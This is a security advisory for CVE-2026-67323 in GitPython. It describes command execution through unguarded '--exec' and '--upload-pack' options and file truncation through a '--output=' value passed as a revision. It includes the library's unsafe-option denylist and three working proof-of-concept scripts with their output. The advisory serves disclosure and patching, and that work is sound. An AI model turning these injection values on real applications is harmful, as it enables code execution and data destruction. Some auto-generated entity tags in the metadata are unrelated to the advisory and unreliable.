---
schema_version: '1.0'
id: security-20260722-f9f263
title: 'CVE-2026-67323: GitPython: command injection via unguarded Git options in
  `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()`
  / `Repo.blame()`'
url: https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v
url_hash: f9f2632b56a767eab71c1851ed00bdfd1756efa12d22763acb0ab7a87af13643
canonical_url: https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-67323
- GHSA-956x-8gvw-wg5v
- severity:CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- gitpython
- PyPI
lang: en
published_at: '2026-07-21T20:10:06Z'
fetched_at: '2026-07-22T06:57:46.516748Z'
updated_at: '2026-08-02T07:21:57Z'
status: published
content_hash: 0d779050efe731f4b2debe7a1fe3cf8f3551191a70a8b9b209f1d5bae4d97ae1
content_changed_at: '2026-08-02T07:21:46.188881Z'
license_note: full
summary: 'GitPython: command injection via unguarded Git options in `Repo.archive()`,
  `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`'
summary_source: rss
summary_en: 'GitPython: command injection via unguarded Git options in `Repo.archive()`,
  `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`'
entities:
- name: ElectricVehicle
  type: artifact
- name: PyPI
  type: artifact
- name: Aviation Wire
  type: organization
related_auto:
- name: Claude Mythos
  type: creature
  weight: 1.0
---

# CVE-2026-67323: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

## TL;DR
GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

## Key Points
- cve / CVE-2026-67323 / GHSA-956x-8gvw-wg5v / severity:CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H / gitpython / PyPI

## Details
**Severity:** CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**Advisory:** GHSA-956x-8gvw-wg5v (CVE-2026-67323)

**Affected (your watchlist):**
- `PyPI:gitpython` 3.1.46 → fixed in 3.1.51 [docker/docker-llmwiki]

**Details:**
## Summary

GitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, …) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.

That enforcement is only wired into the **network** commands — `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:

1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{"remote": ".", "exec": "<cmd>"}` becomes `git archive --remote=. --exec=<cmd> -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive` whose path is overridden by `--exec` → **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).

2. **`repo.git.ls_remote(<url>, upload_pack="<cmd>")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>` with no guard → **arbitrary command execution**.

3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

## Details

GitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:

```python
unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]
```

and enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):

```python
def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")
```

But `check_unsafe_options` is invoked from **only five sites**, all network commands:

```
git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from
```

The following sinks call `git` with caller-controlled options/positionals and are **not** guarded:

### 1. `Repo.archive` — command execution (`git/repo/base.py:1623`)

```python
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self
```

`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:

```
git archive --remote=. --exec=<cmd> -- <treeish>
```

`git archive --remote=<repo>` runs the upload-archive helper; `--exec=<cmd>` overrides the helper path, executing `<cmd>` on the host. This works with **default Git config** — it does not rely on the `ext::` transport (which is blocked by default).

### 2. `repo.git.ls_remote(..., upload_pack=...)` — command execution (dynamic builder, `git/cmd.py:1487`)

`transform_kwarg` dashifies `upload_pack` → `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>` executes `<cmd>`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` — but `ls_remote` and the rest of the dynamic surface were left unpatched.

### 3. `Repo.iter_commits` / `Repo.blame` — arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)

```python
# Commit.iter_items (reached via Repo.iter_commits)
proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]
```

```python
# Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)
```

`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev="--output=/path"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

```
git rev-list --output=/path --
```

`git rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates the file *before* validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

## PoC

All three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

### Install

```bash
python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50
```

### PoC 1 — command execution via `Repo.archive`

```python
# archive_rce.py
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker))
```

Verbatim output:

```
[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True
```

`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.

### PoC 2 — command execution via `git.ls_remote(upload_pack=...)`

```python
# lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))
```

Verbatim output:

```
[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
```

### PoC 3 — arbitrary file overwrite via a benign-looking `rev`

```python
# itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')
```

Verbatim output:

```
[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
```

**References:**
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v
- https://github.com/gitpython-developers/GitPython/pull/2163
- https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738
- https://github.com/gitpython-developers/GitPython
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v_

## Source
元記事: [CVE-2026-67323: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`](https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v) — published 2026-07-21T20:10:06Z
